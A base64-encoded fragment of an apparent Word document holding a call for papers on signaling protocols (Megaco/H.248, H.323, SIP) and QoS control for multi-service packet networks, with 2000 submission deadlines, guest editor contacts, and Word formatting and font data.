aXRlZCB0bywgdGhlIGZvbGxvd2luZzogDQ1BZHZhbmNlZCBzaWduYWxpbmcgYW5kIGNvbnRyb2wg
YXJjaGl0ZWN0dXJlcyBmb3IgbXVsdGktc2VydmljZSBuZXR3b3Jrcw1FbWVyZ2luZyBzaWduYWxp
bmcgcHJvdG9jb2xzIChlLmcuLCBJRVRGL01lZ2FjbyBILjI0OCwgSVRVLVQgSC4zMjMsIElFVEYg
U0lQKSBmb3IgbXVsdGktc2VydmljZXMgb3ZlciBwYWNrZXQgKE1vUCkgbmV0d29ya3MgYW5kIGhv
dyB0aGV5IGZpdCBpbnRvIHRoZSB0cmFuc2l0aW9uIHBsYW5zIHRvd2FyZHMgdGhlIHRhcmdldCBh
cmNoaXRlY3R1cmUNQ29udHJvbCBmb3Igb2YgUXVhbGl0eSBvZiBTZXJ2aWNlIChRb1MpIGluIG11
bHRpLXNlcnZpY2UgbmV0d29ya3MNQ29udHJvbCBhbmQgbWFuYWdlbWVudCBpbmZyYXN0cnVjdHVy
ZXMgZm9yIHByb3Zpc2lvbiBvZiBhZHZhbmNlZCBzZXJ2aWNlcyBpbmNsdWRpbmcgcmVhbC10aW1l
IGFuZCBub24tcmVhbC10aW1lIG11bHRpbWVkaWEgbXVsdGlwYXJ0eSBjb21tdW5pY2F0aW9uIHNl
cnZpY2VzLCBoaWdoIHF1YWxpdHkgY29udGVudCBkZWxpdmVyeSBzZXJ2aWNlcywgaW5mb3JtYXRp
b24gYW5kIGRhdGEgc2VydmljZXMsIGV0Yy4NU2lnbmFsaW5nIGludGVyd29ya2luZyB3aXRoIGNp
cmN1aXQtc3dpdGNoZWQgbmV0d29ya3MgYW5kIGxlZ2FjeSBzeXN0ZW1zDUV2b2x1dGlvbiBzY2Vu
YXJpb3MgZm9yIG1pZ3JhdGlvbiBvZiB0b2RheSdzIHNlcnZpY2UgYXJjaGl0ZWN0dXJlIG9mIFBT
VE4vQUlOLCB3aGljaCBpcyBvcHRpbWl6ZWQgZm9yIG5hcnJvd2JhbmQgdm9pY2UtY2VudHJpYyBj
aXJjdWl0LXN3aXRjaGVkIHNlcnZpY2VzLCB0byB0aGUgdW5pZmllZCB0YXJnZXQgY29udHJvbCBh
cmNoaXRlY3R1cmUgb3B0aW1pemVkIGZvciBkYXRhLWNlbnRyaWMgbXVsdGktc2VydmljZSBuZXR3
b3Jrcy4NDQ1PcmlnaW5hbCBhcnRpY2xlcywgbm90IHByZXZpb3VzbHkgcHVibGlzaGVkLCBhcmUg
c29saWNpdGVkLiBQcm9zcGVjdGl2ZSBhdXRob3JzIGFyZSBpbnZpdGVkIHRvIHN1Ym1pdCBmaXZl
IGNvcGllcyBvZiB0aGVpciBwYXBlciB0byBvbmUgb2YgdGhlIEd1ZXN0IEVkaXRvcnMgYnkgQXBy
aWwgMTUsIDIwMDAuIEF1dGhvcnMgd2lsbCBiZSBub3RpZmllZCBieSBKdW5lIDE1LCAyMDAwLiBS
ZXZpc2VkIHByb3Bvc2FscyBhcmUgZHVlIHRvIHRoZSBHdWVzdCBFZGl0b3JzIGJ5IEp1bHkgMTUs
IDIwMDAuIEdpdmVuIHRoZSBzY29wZSBhbmQgaW1wb3J0YW5jZSBvZiB0aGUgc3ViamVjdCwgd2Ug
YW50aWNpcGF0ZSB0aGF0IHNlbGVjdGVkIGFydGljbGVzIHdpbGwgYmUgcHVibGlzaGVkIGluIGEg
dHdvLXBhcnQgc2VyaWVzLiBUaGUgcHVibGljYXRpb24gZGF0ZSBvZiB0aGUgZmlyc3Qgc3BlY2lh
bCBpc3N1ZSBpcyBPY3RvYmVyIDIwMDAuDQ1HdWVzdCBFZGl0b3JzOg0NRHIuIEEuIFIuIE1vZGFy
cmVzc2kJCQkJRHIuIFMuIE1vaGFuDUJlbGxTb3V0aCBTY2llbmNlIGFuZCBUZWNobm9sb2d5CQlU
ZWxjb3JkaWEgVGVjaG5vbG9naWVzLCBJbmMuDTY3NSBXZXN0IFBlYWNodHJlZSBTdC4sIE5FCQlN
Q0MgMUEgMjE2Qg1Sb29tIDQwQTU0CQkJCQkJNDQ1IFNvdXRoIFN0cmVldCANQXRsYW50YSwgR2Vv
cmdpYSAzMDM3NQkJCQlNb3JyaXN0b3duLCBOSiAwNzk2MCwgVVNBDQ0TIEhZUEVSTElOSyBtYWls
dG86bW9kYXJAYnJpZGdlLmJlbGxzb3V0aC5jb20gARRtb2RhckBicmlkZ2UuYmVsbHNvdXRoLmNv
bRUJCQkJEyBIWVBFUkxJTksgbWFpbHRvOnNtb2hhbkB0ZWxjb3JkaWEuY29tIAEUc21vaGFuQHRl
bGNvcmRpYS5jb20VDQ0NDQ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA8BAAAdgQA
AIgEAACJBAAAigQAAAQNAAAFDQAAbBIAAFATAABREwAAfhMAAH8TAACAEwAAmhMAAJsTAACfEwAA
oBMAAMcTAADIEwAAyRMAAN0TAADeEwAA4hMAAOMTAAAA+wDx6QDxAOLX4snXxtfi1+K418bX4rEA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAxDShgAT0oCAFFKAgAAGwIIgQNq7wAAAAYIAUNKGABPSgMAUUoDAFUIAQQwShIAABsCCIEDagAA
AAAGCAFDShgAT0oDAFFKAwBVCAEVA2oAAAAAQ0oYAE9KAwBRSgMAVQgBDENKGABPSgMAUUoDAAAO
QioBT0oEAFFKBABoCAAAEkIqAUNKGABPSgQAUUoEAGgIAAAIT0oDAFFKAwAYAAQAADwEAAB3BAAA
eAQAAIgEAACJBAAAigQAAJEIAAA5CwAAlAwAAAQNAAAFDQAATQ0AABQOAABWDgAAQA8AAIkPAACB
EAAAghAAAIMQAABcEgAAXRIAAGwSAABtEgAAkhIAANESAAD8AAAAAAAAAAAAAAAA/AAAAAAAAAAA
AAAAAPwAAAAAAAAAAAAAAAD8AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcAAAAAAAAAAAAAAAD1
AAAAAAAAAAAAAAAA8QAAAAAAAAAAAAAAAPEAAAAAAAAAAAAAAADxAAAAAAAAAAAAAAAA9wAAAAAA
AAAAAAAAAO8AAAAAAAAAAAAAAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAA
AADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAOoAAAAAAAAAAAAAAADoAAAAAAAAAAAAAAAA5QAA
AAAAAAAAAAAAAOgAAAAAAAAAAAAAAADjAAAAAAAAAAAAAAAA6AAAAAAAAAAAAAAAAOgAAAAAAAAA
AAAAAADoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQADAQADJAMAAQAA
BRAACiYAC0YAAAABEAAAAxEAE6TwAAABEQAABAAAEmTwAAAAAw8AAyQBABkABAAAPAQAAHcEAAB4
BAAAiAQAAIkEAACKBAAA4xMAAP39/f0AAPsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgEBAAMCDwAAB9ESAAD5EgAAGxMAAE8T
AABQEwAA3xMAAOATAADhEwAA4hMAAOMTAAD5AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcAAAAA
AAAAAAAAAAD3AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcAAAAAAAAAAAAAAAD3AAAAAAAAAAAA
AAAA9wAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAwAAAyQDAAEAAAAFAAAPhOAQEYQg7wAJHAAfsNAvILDgPSGwCAci
sAgHI5CgBSSQoAUlsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADvAAAARAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQyep5
+brOEYyCAKoAS6kLAgAAABcAAAAbAAAAbQBvAGQAYQByAEAAYgByAGkAZABnAGUALgBiAGUAbABs
AHMAbwB1AHQAaAAuAGMAbwBtAAAA4Mnqefm6zhGMggCqAEupC0QAAABtAGEAaQBsAHQAbwA6AG0A
bwBkAGEAcgBAAGIAcgBpAGQAZwBlAC4AYgBlAGwAbABzAG8AdQB0AGgALgBjAG8AbQAAANcAAABE
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAANDJ6nn5us4RjIIAqgBLqQsCAAAAFwAAABUAAABzAG0AbwBoAGEAbgBAAHQAZQBsAGMA
bwByAGQAaQBhAC4AYwBvAG0AAADgyep5+brOEYyCAKoAS6kLOAAAAG0AYQBpAGwAdABvADoAcwBt
AG8AaABhAG4AQAB0AGUAbABjAG8AcgBkAGkAYQAuAGMAbwBtAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAVAAoAAQBbAA8AAgAAAAAAAAAwAABA
8f8CADAADAAGAE4AbwByAG0AYQBsAAAAAgAAABAAX0gBBG1ICQRzSAkEdEgJBDgAAUABAAIAOAAM
AAkASABlAGEAZABpAG4AZwAgADEAAAAIAAEABiQBQCYADABDShgAT0oDAFFKAwA+AAIAAQACAD4A
DAAJAEgAZQBhAGQAaQBuAGcAIAAyAAAADgACAAMkAQYkAUAmAWEkAQwAQ0oYAE9KAwBRSgMAAAAA
AAAAAAAAAAAAAAA8AEFA8v+hADwADAAWAEQAZQBmAGEAdQBsAHQAIABQAGEAcgBhAGcAcgBhAHAA
aAAgAEYAbwBuAHQAAAAAAAAAAAAAAAAASABCQAEA8gBIAAwACQBCAG8AZAB5ACAAVABlAHgAdAAA
AAgADwASZPAAAAAcADUIgUIqAUNKGABPSgQAUUoEAGgIAHRICQR1CABOADBAAQACAU4ADQALAEwA
aQBzAHQAIABCAHUAbABsAGUAdAAAAA8AEAADJAMKJgALRgUAYSQDABYAQ0oYAE9KAwBRSgMAaAgA
dEgJBHUIAFAAUEABABIBUAAMAAsAQgBvAGQAeQAgAFQAZQB4AHQAIAAyAAAADgARAAMkAxJk8AAA
AGEkAxkAQioBQ0oYAE9KBABRSgQAaAgAdEgJBHUIAAAoAFVAogAhASgADAAJAEgAeQBwAGUAcgBs
AGkAbgBrAAAABgA+KgFCKgI8AFEAAQAyATwADAALAEIAbwBkAHkAIABUAGUAeAB0ACAAMwAAAAgA
EwADJANhJAMMAENKGABPSgMAUUoDAFIAPgABAEIBUgAMAAUAVABpAHQAbABlAAAAGQAUAAMkAQYk
ARJk4AEAABOk4AEUpPAAYSQBABwANQiBQioBQ0oYAE9KBQBRSgUAaAgAdEgJBHUIAAAAAADjDwAA
FAAAHAAAAAD/////AAQAAOMTAAAKAAAAAAQAANESAADjEwAACwAAAA0AAAAABAAA4xMAAAwAAABQ
DwAAfw8AAJoPAACfDwAAyA8AAN0PAADjDwAAE1gU/xWAE1gU/xWAAAAAACYEAAAoBAAAKQQAAC0E
AAAuBAAANwQAAFgGAABeBgAAdgkAAHwJAAC7CQAAvgkAAFAPAACbDwAAyQ8AAN4PAADlDwAABwAD
AAcAAwAHAAMABwAcAAcAHAAHABwABwADAAcAAwAHAAAAAABQDwAA3g8AAOUPAAAHAAMABwD//xQA
AAAGAFMATQBPAEgAQQBOACgAQwA6AFwAVABFAE0AUABcAEEAdQB0AG8AUgBlAGMAbwB2AGUAcgB5
ACAAcwBhAHYAZQAgAG8AZgAgAFMAUABJAFMAUwBVAEUALgBhAHMAZAAGAFMATQBPAEgAQQBOABkA
QwA6AFwASQBFAEUARQBDAG8AbQBtAFwAUAByAG8AcABTAHAASQBzAHMALgBkAG8AYwAGAFMATQBP
AEgAQQBOAB0AQwA6AFwASQBFAEUARQBDAG8AbQBtAFwAQwBhAGwAbABGAG8AcgBQAGEAcABlAHIA
cwAuAGQAbwBjAAYAUwBNAE8ASABBAE4AHQBDADoAXABJAEUARQBFAEMAbwBtAG0AXABDAGEAbABs
AEYAbwByAFAAYQBwAGUAcgBzAC4AZABvAGMABgBTAE0ATwBIAEEATgAdAEMAOgBcAEkARQBFAEUA
QwBvAG0AbQBcAEMAYQBsAGwARgBvAHIAUABhAHAAZQByAHMALgBkAG8AYwAGAFMATQBPAEgAQQBO
AB0AQwA6AFwASQBFAEUARQBDAG8AbQBtAFwAQwBhAGwAbABGAG8AcgBQAGEAcABlAHIAcwAuAGQA
bwBjAAMAQgBTAFQAWQBDADoAXABXAEkATgBOAFQAXABQAHIAbwBmAGkAbABlAHMAXABtAG8AZABh
AHIAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AIABEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQA
XABXAG8AcgBkAFwAQQB1AHQAbwBSAGUAYwBvAHYAZQByAHkAIABzAGEAdgBlACAAbwBmACAAQwBh
AGwAbABmAG8AcgBwAC4AYQBzAGQAAwBCAFMAVAAjAEUAOgBcAE0AeQBfAE8AZgBmAGkAYwBlAFwA
dwBvAHIAawBcAGkAZQBlAGUAXABDAEEATABMAEYATwBSAFAALgBEAE8AQwADAEIAUwBUACMARQA6
AFwATQB5AF8ATwBmAGYAaQBjAGUAXAB3AG8AcgBrAFwAaQBlAGUAZQBcAEMAQQBMAEwARgBPAFIA
UAAuAEQATwBDAAYAUwBNAE8ASABBAE4AHgBDADoAXABJAEUARQBFAEMAbwBtAG0AXABDAEEATABM
AEYAbwByAFAAYQBwAGUAcgBzAEYALgBkAG8AYwAFAIn////iWfz6/w//D/8P/w//D/8P/w//D/8P
AQDjWmgDNqA28v8PAAAAAAAAAAAAAAAAAAAAAAEAzC7PVSim5vwQAAAAAAAAAAAAAAAAAAAAAAAB
ABkwbVdML5D4/w8AAAAAAAAAAAAAAAAAAAAAAQD+SDhbDwAJBP8PAAAAAAAAAAAAAAAAAAAAAAEA
AQAAABcAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+EaAERhJj+FcYFAAFoAQZehGgBYISY/k9KAQBR
SgEAbygAAQC38AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAA8YAAAPhGgBEYSY/hXGBQABAAAGXoRo
AWCEmP5DShwAT0oCAFFKAgBvKAABACIgAQAAABcAAAAAAAAAAAAAAAAAAAAAAAAADxgAAA+EaAER
hJj+FcYFAAEAAAZehGgBYISY/kNKHABPSgIAUUoCAG8oAAEAIiABAAAAFwAAAAAAAAAAAAAAAAAA
AAAAAAAPGAAAD4RoARGEmP4VxgUAAQAABl6EaAFghJj+Q0ocAE9KAgBRSgIAbygAAQAiIAEAAAAA
AAEAAAAAAAAAAAAAAAAAAAAAAAAYAAAPhGgBEYSY/hXGBQABaAEGXoRoAWCEmP4CAAAALgAFAAAA
if///wAAAAAAAAAAAAAAAONaaAMAAAAAAAAAAAAAAAAZMG1XAAAAAAAAAAAAAAAA/kg4WwAAAAAA
AAAAAAAAAMwuz1UAAAAAAAAAAAAAAAD/////////////////////////////BQAAAAAAAAAAAAAA
AAD/QACAAQAAAAAAAAAAAHigtwYBAC4AAAAAAAAAAAAAAAAAAAAAAAIQAAAAAAAAAOMPAABAAQAI
AEAAAAYAAABHFpABAAACAgYDBQQFAgMEhwIAAAAAAAAAAAAAAAAAAJ8AAAAAAAAAVABpAG0AZQBz
ACAATgBlAHcAIABSAG8AbQBhAG4AAAA1FpABAgAFBQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAA
AIAAAAAAUwB5AG0AYgBvAGwAAAAzJpABAAACCwYEAgICAgIEhwIAAAAAAAAAAAAAAAAAAJ8AAAAA
AAAAQQByAGkAYQBsAAAAOyKQAQAAAgsGBAICAgICBAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAEgA
ZQBsAHYAZQB0AGkAYwBhAAAAPSKQAQAFAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAA
AEgAZQBsAHYAAABBAHIAaQBhAGwAAAAzEpABAAACAgYDBQQFAgMEAwAAAAAAAAAAAAAAAAAAAAEA
AAAAAAAAVABpAG0AZQBzAAAAIgAEADEIiBgA8NACAABoAQAAAADtKkFm7SpBZvhCN4YCAAAAAABM
